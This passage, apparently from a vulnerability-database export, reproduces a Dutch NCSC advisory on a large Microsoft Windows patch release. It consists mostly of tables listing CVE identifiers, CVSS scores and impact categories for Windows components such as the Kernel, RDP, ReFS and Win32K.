|\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:20.920532Z"}, {"uuid": "4198995d-2234-4097-977e-8cb694b393d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54999", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: 